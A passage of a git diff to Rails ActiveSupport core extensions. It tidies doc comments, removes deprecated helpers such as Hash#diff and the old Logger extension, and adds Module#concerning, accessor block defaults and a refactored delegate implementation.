diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
index e07db50b77..dc86c92003 100644
--- a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -1,13 +1,13 @@
class Hash
# Returns a new hash with +self+ and +other_hash+ merged recursively.
#
- # h1 = { x: { y: [4,5,6] }, z: [7,8,9] }
- # h2 = { x: { y: [7,8,9] }, z: 'xyz' }
+ # h1 = { x: { y: [4, 5, 6] }, z: [7, 8, 9] }
+ # h2 = { x: { y: [7, 8, 9] }, z: 'xyz' }
#
- # h1.deep_merge(h2) #=> {x: {y: [7, 8, 9]}, z: "xyz"}
- # h2.deep_merge(h1) #=> {x: {y: [4, 5, 6]}, z: [7, 8, 9]}
+ # h1.deep_merge(h2) # => {x: {y: [7, 8, 9]}, z: "xyz"}
+ # h2.deep_merge(h1) # => {x: {y: [4, 5, 6]}, z: [7, 8, 9]}
# h1.deep_merge(h2) { |key, old, new| Array.wrap(old) + Array.wrap(new) }
- # #=> {:x=>{:y=>[4, 5, 6, 7, 8, 9]}, :z=>[7, 8, 9, "xyz"]}
+ # # => {:x=>{:y=>[4, 5, 6, 7, 8, 9]}, :z=>[7, 8, 9, "xyz"]}
def deep_merge(other_hash, &block)
dup.deep_merge!(other_hash, &block)
end
diff --git a/activesupport/lib/active_support/core_ext/hash/diff.rb b/activesupport/lib/active_support/core_ext/hash/diff.rb
deleted file mode 100644
index 4359213380..0000000000
--- a/activesupport/lib/active_support/core_ext/hash/diff.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'active_support/deprecation'
-
-class Hash
- # Returns a hash that represents the difference between two hashes.
- #
- # {1 => 2}.diff(1 => 2) # => {}
- # {1 => 2}.diff(1 => 3) # => {1 => 2}
- # {}.diff(1 => 2) # => {1 => 2}
- # {1 => 2, 3 => 4}.diff(1 => 2) # => {3 => 4}
- def diff(other)
- ActiveSupport::Deprecation.warn "Hash#diff is no longer used inside of Rails, and is being deprecated with no replacement. If you're using it to compare hashes for the purpose of testing, please use MiniTest's assert_equal instead."
- dup.
- delete_if { |k, v| other[k] == v }.
- merge!(other.dup.delete_if { |k, v| has_key?(k) })
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index d90e996ad4..682d089881 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -1,5 +1,5 @@
class Hash
- # Return a hash that includes everything but the given keys. This is useful for
+ # Returns a hash that includes everything but the given keys. This is useful for
# limiting a set of parameters to everything but a few known toggles:
#
# @person.update(params[:person].except(:admin))
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index 981e8436bf..970d6faa1d 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -18,5 +18,6 @@ class Hash
#
# b = { b: 1 }
# { a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
+ # # => {"b"=>32}
alias nested_under_indifferent_access with_indifferent_access
end
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index b4c451ace4..3d41aa8572 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -1,10 +1,10 @@
class Hash
- # Return a new hash with all keys converted using the block operation.
+ # Returns a new hash with all keys converted using the block operation.
#
# hash = { name: 'Rob', age: '28' }
#
# hash.transform_keys{ |key| key.to_s.upcase }
- # # => { "NAME" => "Rob", "AGE" => "28" }
+ # # => {"NAME"=>"Rob", "AGE"=>"28"}
def transform_keys
result = {}
each_key do |key|
@@ -22,12 +22,12 @@ class Hash
self
end
- # Return a new hash with all keys converted to strings.
+ # Returns a new hash with all keys converted to strings.
#
# hash = { name: 'Rob', age: '28' }
#
# hash.stringify_keys
- # #=> { "name" => "Rob", "age" => "28" }
+ # # => { "name" => "Rob", "age" => "28" }
def stringify_keys
transform_keys{ |key| key.to_s }
end
@@ -38,13 +38,13 @@ class Hash
transform_keys!{ |key| key.to_s }
end
- # Return a new hash with all keys converted to symbols, as long as
+ # Returns a new hash with all keys converted to symbols, as long as
# they respond to +to_sym+.
#
# hash = { 'name' => 'Rob', 'age' => '28' }
#
# hash.symbolize_keys
- # #=> { name: "Rob", age: "28" }
+ # # => { name: "Rob", age: "28" }
def symbolize_keys
transform_keys{ |key| key.to_sym rescue key }
end
@@ -61,24 +61,26 @@ class Hash
# on a mismatch. Note that keys are NOT treated indifferently, meaning if you
# use strings for keys but assert symbols as keys, this will fail.
#
- # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
- # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+ # { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+ # { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
# { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age) # => passes, raises nothing
def assert_valid_keys(*valid_keys)
valid_keys.flatten!
each_key do |k|
- raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+ unless valid_keys.include?(k)
+ raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+ end
end
end
- # Return a new hash with all keys converted by the block operation.
+ # Returns a new hash with all keys converted by the block operation.
# This includes the keys from the root hash and from all
# nested hashes.
#
# hash = { person: { name: 'Rob', age: '28' } }
#
# hash.deep_transform_keys{ |key| key.to_s.upcase }
- # # => { "PERSON" => { "NAME" => "Rob", "AGE" => "28" } }
+ # # => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
def deep_transform_keys(&block)
result = {}
each do |key, value|
@@ -98,14 +100,14 @@ class Hash
self
end
- # Return a new hash with all keys converted to strings.
+ # Returns a new hash with all keys converted to strings.
# This includes the keys from the root hash and from all
# nested hashes.
#
# hash = { person: { name: 'Rob', age: '28' } }
#
# hash.deep_stringify_keys
- # # => { "person" => { "name" => "Rob", "age" => "28" } }
+ # # => {"person"=>{"name"=>"Rob", "age"=>"28"}}
def deep_stringify_keys
deep_transform_keys{ |key| key.to_s }
end
@@ -117,14 +119,14 @@ class Hash
deep_transform_keys!{ |key| key.to_s }
end
- # Return a new hash with all keys converted to symbols, as long as
+ # Returns a new hash with all keys converted to symbols, as long as
# they respond to +to_sym+. This includes the keys from the root hash
# and from all nested hashes.
#
# hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
#
# hash.deep_symbolize_keys
- # # => { person: { name: "Rob", age: "28" } }
+ # # => {:person=>{:name=>"Rob", :age=>"28"}}
def deep_symbolize_keys
deep_transform_keys{ |key| key.to_sym rescue key }
end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index 9fa9b3dac4..8ad600b171 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -26,6 +26,8 @@ class Hash
keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
omit = slice(*self.keys - keys)
hash = slice(*keys)
+ hash.default = default
+ hash.default_proc = default_proc if default_proc
replace(hash)
omit
end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
index 7c6c2f1ca7..c668c7c2eb 100644
--- a/activesupport/lib/active_support/core_ext/integer/multiple.rb
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -1,9 +1,9 @@
class Integer
# Check whether the integer is evenly divisible by the argument.
#
- # 0.multiple_of?(0) #=> true
- # 6.multiple_of?(5) #=> false
- # 10.multiple_of?(2) #=> true
+ # 0.multiple_of?(0) # => true
+ # 6.multiple_of?(5) # => false
+ # 10.multiple_of?(2) # => true
def multiple_of?(number)
number != 0 ? self % number == 0 : zero?
end
diff --git a/activesupport/lib/active_support/core_ext/kernel.rb b/activesupport/lib/active_support/core_ext/kernel.rb
index 0275f4c037..293a3b2619 100644
--- a/activesupport/lib/active_support/core_ext/kernel.rb
+++ b/activesupport/lib/active_support/core_ext/kernel.rb
@@ -1,4 +1,5 @@
-require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/kernel/agnostics'
-require 'active_support/core_ext/kernel/debugger'
+require 'active_support/core_ext/kernel/concern'
+require 'active_support/core_ext/kernel/debugger' if RUBY_VERSION < '2.0.0'
+require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/kernel/singleton_class'
diff --git a/activesupport/lib/active_support/core_ext/kernel/concern.rb b/activesupport/lib/active_support/core_ext/kernel/concern.rb
new file mode 100644
index 0000000000..bf72caa058
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/kernel/concern.rb
@@ -0,0 +1,10 @@
+require 'active_support/core_ext/module/concerning'
+
+module Kernel
+ # A shortcut to define a toplevel concern, not within a module.
+ #
+ # See Module::Concerning for more.
+ def concern(topic, &module_definition)
+ Object.concern topic, &module_definition
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index 79d3303b41..f3f8416905 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -41,6 +41,8 @@ module Kernel
# end
#
# puts 'But this will'
+ #
+ # This method is not thread-safe.
def silence_stream(stream)
old_stream = stream.dup
stream.reopen(RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL:' : '/dev/null')
@@ -48,6 +50,7 @@ module Kernel
yield
ensure
stream.reopen(old_stream)
+ old_stream.close
end
# Blocks and ignores any exception passed as argument if raised within the block.
@@ -60,8 +63,7 @@ module Kernel
# puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
def suppress(*exception_classes)
yield
- rescue Exception => e
- raise unless exception_classes.any? { |cls| e.kind_of?(cls) }
+ rescue *exception_classes
end
# Captures the given stream and returns it:
@@ -91,6 +93,7 @@ module Kernel
stream_io.rewind
return captured_stream.read
ensure
+ captured_stream.close
captured_stream.unlink
stream_io.reopen(origin_stream)
end
@@ -99,6 +102,8 @@ module Kernel
# Silences both STDOUT and STDERR, even for subprocesses.
#
# quietly { system 'bundle install' }
+ #
+ # This method is not thread-safe.
def quietly
silence_stream(STDOUT) do
silence_stream(STDERR) do
diff --git a/activesupport/lib/active_support/core_ext/load_error.rb b/activesupport/lib/active_support/core_ext/load_error.rb
index fe24f3716d..768b980f21 100644
--- a/activesupport/lib/active_support/core_ext/load_error.rb
+++ b/activesupport/lib/active_support/core_ext/load_error.rb
@@ -7,6 +7,7 @@ class LoadError
]
unless method_defined?(:path)
+ # Returns the path which was unable to be loaded.
def path
@path ||= begin
REGEXPS.find do |regex|
@@ -17,9 +18,11 @@ class LoadError
end
end
+ # Returns true if the given path name (except perhaps for the ".rb"
+ # extension) is the missing file which caused the exception to be raised.
def is_missing?(location)
location.sub(/\.rb$/, '') == path.sub(/\.rb$/, '')
end
end
-MissingSourceFile = LoadError \ No newline at end of file
+MissingSourceFile = LoadError
diff --git a/activesupport/lib/active_support/core_ext/logger.rb b/activesupport/lib/active_support/core_ext/logger.rb
deleted file mode 100644
index 34de766331..0000000000
--- a/activesupport/lib/active_support/core_ext/logger.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/deprecation'
-require 'active_support/logger_silence'
-
-ActiveSupport::Deprecation.warn 'this file is deprecated and will be removed'
-
-# Adds the 'around_level' method to Logger.
-class Logger #:nodoc:
- def self.define_around_helper(level)
- module_eval <<-end_eval, __FILE__, __LINE__ + 1
- def around_#{level}(before_message, after_message) # def around_debug(before_message, after_message, &block)
- self.#{level}(before_message) # self.debug(before_message)
- return_value = yield(self) # return_value = yield(self)
- self.#{level}(after_message) # self.debug(after_message)
- return_value # return_value
- end # end
- end_eval
- end
- [:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
-end
-
-require 'logger'
-
-# Extensions to the built-in Ruby logger.
-#
-# If you want to use the default log formatter as defined in the Ruby core, then you
-# will need to set the formatter for the logger as in:
-#
-# logger.formatter = Formatter.new
-#
-# You can then specify the datetime format, for example:
-#
-# logger.datetime_format = "%Y-%m-%d"
-#
-# Note: This logger is deprecated in favor of ActiveSupport::Logger
-class Logger
- include LoggerSilence
-
- alias :old_datetime_format= :datetime_format=
- # Logging date-time format (string passed to +strftime+). Ignored if the formatter
- # does not respond to datetime_format=.
- def datetime_format=(format)
- formatter.datetime_format = format if formatter.respond_to?(:datetime_format=)
- end
-
- alias :old_datetime_format :datetime_format
- # Get the logging datetime format. Returns nil if the formatter does not support
- # datetime formatting.
- def datetime_format
- formatter.datetime_format if formatter.respond_to?(:datetime_format)
- end
-
- alias :old_initialize :initialize
- # Overwrite initialize to set a default formatter.
- def initialize(*args)
- old_initialize(*args)
- self.formatter = SimpleFormatter.new
- end
-
- # Simple formatter which only displays the message.
- class SimpleFormatter < Logger::Formatter
- # This method is invoked when a log event occurs
- def call(severity, timestamp, progname, msg)
- "#{String === msg ? msg : msg.inspect}\n"
- end
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index f2d4887df6..b4efff8b24 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/module/anonymous'
require 'active_support/core_ext/module/reachable'
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/concerning'
require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/module/deprecation'
require 'active_support/core_ext/module/remove_method'
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
index db07d549b0..67f0e0335d 100644
--- a/activesupport/lib/active_support/core_ext/module/attr_internal.rb
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -27,7 +27,8 @@ class Module
def attr_internal_define(attr_name, type)
internal_name = attr_internal_ivar_name(attr_name).sub(/\A@/, '')
- class_eval do # class_eval is necessary on 1.9 or else the methods a made private
+ # class_eval is necessary on 1.9 or else the methods are made private
+ class_eval do
# use native attr_* methods as they are faster on some Ruby implementations
send("attr_#{type}", internal_name)
end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 672cc0256f..d317df5079 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,10 +1,59 @@
require 'active_support/core_ext/array/extract_options'
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes.
class Module
+ # Defines a class attribute and creates a class and instance reader methods.
+ # The underlying the class variable is set to +nil+, if it is not previously
+ # defined.
+ #
+ # module HairColors
+ # mattr_reader :hair_colors
+ # end
+ #
+ # HairColors.hair_colors # => nil
+ # HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+ # HairColors.hair_colors # => [:brown, :black]
+ #
+ # The attribute name must be a valid method name in Ruby.
+ #
+ # module Foo
+ # mattr_reader :"1_Badname "
+ # end
+ # # => NameError: invalid attribute name
+ #
+ # If you want to opt out the creation on the instance reader method, pass
+ # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors # => NoMethodError
+ #
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # cattr_reader :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
def mattr_reader(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
@@#{sym} = nil unless defined? @@#{sym}
@@ -20,14 +69,60 @@ class Module
end
EOS
end
+ class_variable_set("@@#{sym}", yield) if block_given?
end
end
+ alias :cattr_reader :mattr_reader
+ # Defines a class attribute and creates a class and instance writer methods to
+ # allow assignment to the attribute.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # HairColors.hair_colors = [:brown, :black]
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+ # Person.new.hair_colors = [:blonde, :red]
+ # HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+ #
+ # If you want to opt out the instance writer method, pass
+ # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_writer: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # class HairColors
+ # mattr_writer :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
def mattr_writer(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ @@#{sym} = nil unless defined? @@#{sym}
+
def self.#{sym}=(obj)
@@#{sym} = obj
end
@@ -40,27 +135,78 @@ class Module
end
EOS
end
+ send("#{sym}=", yield) if block_given?
end
end
+ alias :cattr_writer :mattr_writer
- # Extends the module object with module and instance accessors for class attributes,
- # just like the native attr* accessors for instance attributes.
+ # Defines both class and instance accessors for class attributes.
#
- # module AppConfiguration
- # mattr_accessor :google_api_key
+ # module HairColors
+ # mattr_accessor :hair_colors
+ # end
#
- # self.google_api_key = "123456789"
+ # class Person
+ # include HairColors
# end
#
- # AppConfiguration.google_api_key # => "123456789"
- # AppConfiguration.google_api_key = "overriding the api key!"
- # AppConfiguration.google_api_key # => "overriding the api key!"
+ # Person.hair_colors = [:brown, :black, :blonde, :red]
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
+ # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+ #
+ # If a subclass changes the value then that would also change the value for
+ # parent class. Similarly if parent class changes the value then that would
+ # change the value of subclasses too.
+ #
+ # class Male < Person
+ # end
+ #
+ # Male.hair_colors << :blue
+ # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
#
# To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
# To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
- def mattr_accessor(*syms)
- mattr_reader(*syms)
- mattr_writer(*syms)
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_accessor: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Also you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
+ def mattr_accessor(*syms, &blk)
+ mattr_reader(*syms, &blk)
+ mattr_writer(*syms, &blk)
end
+ alias :cattr_accessor :mattr_accessor
end
diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb
new file mode 100644
index 0000000000..07a392404e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/concerning.rb
@@ -0,0 +1,135 @@
+require 'active_support/concern'
+
+class Module
+ # = Bite-sized separation of concerns
+ #
+ # We often find ourselves with a medium-sized chunk of behavior that we'd
+ # like to extract, but only mix in to a single class.
+ #
+ # Extracting a plain old Ruby object to encapsulate it and collaborate or
+ # delegate to the original object is often a good choice, but when there's
+ # no additional state to encapsulate or we're making DSL-style declarations
+ # about the parent class, introducing new collaborators can obfuscate rather
+ # than simplify.
+ #
+ # The typical route is to just dump everything in a monolithic class, perhaps
+ # with a comment, as a least-bad alternative. Using modules in separate files
+ # means tedious sifting to get a big-picture view.
+ #
+ # = Dissatisfying ways to separate small concerns
+ #
+ # == Using comments:
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # ## Event tracking
+ # has_many :events
+ #
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ #
+ # == With an inline module:
+ #
+ # Noisy syntax.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # module EventTracking
+ # extend ActiveSupport::Concern
+ #
+ # included do
+ # has_many :events
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ # end
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ # include EventTracking
+ # end
+ #
+ # == Mix-in noise exiled to its own file:
+ #
+ # Once our chunk of behavior starts pushing the scroll-to-understand it's
+ # boundary, we give in and move it to a separate file. At this size, the
+ # overhead feels in good proportion to the size of our extraction, despite
+ # diluting our at-a-glance sense of how things really work.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # include TodoEventTracking
+ # end
+ #
+ # = Introducing Module#concerning
+ #
+ # By quieting the mix-in noise, we arrive at a natural, low-ceremony way to
+ # separate bite-sized concerns.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # concerning :EventTracking do
+ # included do
+ # has_many :events
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ # end
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ # end
+ #
+ # Todo.ancestors
+ # # => Todo, Todo::EventTracking, Object
+ #
+ # This small step has some wonderful ripple effects. We can
+ # * grok the behavior of our class in one glance,
+ # * clean up monolithic junk-drawer classes by separating their concerns, and
+ # * stop leaning on protected/private for crude "this is internal stuff" modularity.
+ module Concerning
+ # Define a new concern and mix it in.
+ def concerning(topic, &block)
+ include concern(topic, &block)
+ end
+
+ # A low-cruft shortcut to define a concern.
+ #
+ # concern :EventTracking do
+ # ...
+ # end
+ #
+ # is equivalent to
+ #
+ # module EventTracking
+ # extend ActiveSupport::Concern
+ #
+ # ...
+ # end
+ def concern(topic, &module_definition)
+ const_set topic, Module.new {
+ extend ::ActiveSupport::Concern
+ module_eval(&module_definition)
+ }
+ end
+ end
+ include Concerning
+end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index 1aa72da743..f855833a24 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -6,6 +6,11 @@ class Module
# Provides a +delegate+ class method to easily expose contained objects'
# public methods as your own.
#
+ # ==== Options
+ # * <tt>:to</tt> - Specifies the target object
+ # * <tt>:prefix</tt> - Prefixes the new method with the target name or a custom prefix
+ # * <tt>:allow_nil</tt> - if set to true, prevents a +NoMethodError+ to be raised
+ #
# The macro receives one or more method names (specified as symbols or
# strings) and the name of the target object via the <tt>:to</tt> option
# (also a symbol or string).
@@ -133,6 +138,8 @@ class Module
#
# Foo.new("Bar").name # raises NoMethodError: undefined method `name'
#
+ # The target method must be public, otherwise it will raise +NoMethodError+.
+ #
def delegate(*methods)
options = methods.pop
unless options.is_a?(Hash) && to = options[:to]
@@ -171,30 +178,32 @@ class Module
# whereas conceptually, from the user point of view, the delegator should
# be doing one call.
if allow_nil
- module_eval(<<-EOS, file, line - 3)
- def #{method_prefix}#{method}(#{definition}) # def customer_name(*args, &block)
- _ = #{to} # _ = client
- if !_.nil? || nil.respond_to?(:#{method}) # if !_.nil? || nil.respond_to?(:name)
- _.#{method}(#{definition}) # _.name(*args, &block)
- end # end
- end # end
- EOS
+ method_def = [
+ "def #{method_prefix}#{method}(#{definition})", # def customer_name(*args, &block)
+ "_ = #{to}", # _ = client
+ "if !_.nil? || nil.respond_to?(:#{method})", # if !_.nil? || nil.respond_to?(:name)
+ " _.#{method}(#{definition})", # _.name(*args, &block)
+ "end", # end
+ "end" # end
+ ].join ';'
else
exception = %(raise DelegationError, "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
- module_eval(<<-EOS, file, line - 2)
- def #{method_prefix}#{method}(#{definition}) # def customer_name(*args, &block)
- _ = #{to} # _ = client
- _.#{method}(#{definition}) # _.name(*args, &block)
- rescue NoMethodError # rescue NoMethodError
- if _.nil? # if _.nil?
- #{exception} # # add helpful message to the exception
- else # else
- raise # raise
- end # end
- end # end
- EOS
+ method_def = [
+ "def #{method_prefix}#{method}(#{definition})", # def customer_name(*args, &block)
+ " _ = #{to}", # _ = client
+ " _.#{method}(#{definition})", # _.name(*args, &block)
+ "rescue NoMethodError => e", # rescue NoMethodError => e
+ " if _.nil? && e.name == :#{method}", # if _.nil? && e.name == :name
+ " #{exception}", # # add helpful message to the exception
+ " else", # else
+ " raise", # raise
+ " end", # end
+ "end" # end
+ ].join ';'
end
+
+ module_eval(method_def, file, line)
end
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
index d873de197f..56d670fbe8 100644
--- a/activesupport/lib/active_support/core_ext/module/deprecation.rb
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation/method_wrappers'
-
class Module
# deprecate :foo
# deprecate bar: 'message'
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
index 08e5f8a5c3..f1d26ef28f 100644
--- a/activesupport/lib/active_support/core_ext/module/introspection.rb
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -59,20 +59,4 @@ class Module
def local_constants #:nodoc:
constants(false)
end
-
- # *DEPRECATED*: Use +local_constants+ instead.
- #
- # Returns the names of the constants defined locally as strings.
- #
- # module M
- # X = 1
- # end
- # M.local_constant_names # => ["X"]
- #
- # This method is useful for forward compatibility, since Ruby 1.8 returns
- # constant names as strings, whereas 1.9 returns them as symbols.
- def local_constant_names
- ActiveSupport::Deprecation.warn 'Module#local_constant_names is deprecated, use Module#local_constants instead'
- local_constants.map { |c| c.to_s }
- end
end
diff --git a/activesupport/lib/active_support/core_ext/module/method_transplanting.rb b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
new file mode 100644
index 0000000000..b1097cc83b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
@@ -0,0 +1,11 @@
+class Module
+ ###
+ # TODO: remove this after 1.9 support is dropped
+ def methods_transplantable? # :nodoc:
+ x = Module.new { def foo; end }
+ Module.new { define_method :bar, x.instance_method(:foo) }
+ true
+ rescue TypeError
+ false
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index 87b9a23aef..704c4248d9 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -63,6 +63,7 @@ class Numeric
# Reads best without arguments: 10.minutes.ago
def ago(time = ::Time.current)
+ ActiveSupport::Deprecation.warn "Calling #ago or #until on a number (e.g. 5.ago) is deprecated and will be removed in the future, use 5.seconds.ago instead"
time - self
end
@@ -71,9 +72,16 @@ class Numeric
# Reads best with argument: 10.minutes.since(time)
def since(time = ::Time.current)
+ ActiveSupport::Deprecation.warn "Calling #since or #from_now on a number (e.g. 5.since) is deprecated and will be removed in the future, use 5.seconds.since instead"
time + self
end
# Reads best without arguments: 10.minutes.from_now
alias :from_now :since
+
+ # Used with the standard time durations, like 1.hour.in_milliseconds --
+ # so we can feed them to JavaScript functions like getTime().
+ def in_milliseconds
+ self * 1000
+ end
end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
index ec2157221f..f4f9152d6a 100644
--- a/activesupport/lib/active_support/core_ext/object.rb
+++ b/activesupport/lib/active_support/core_ext/object.rb
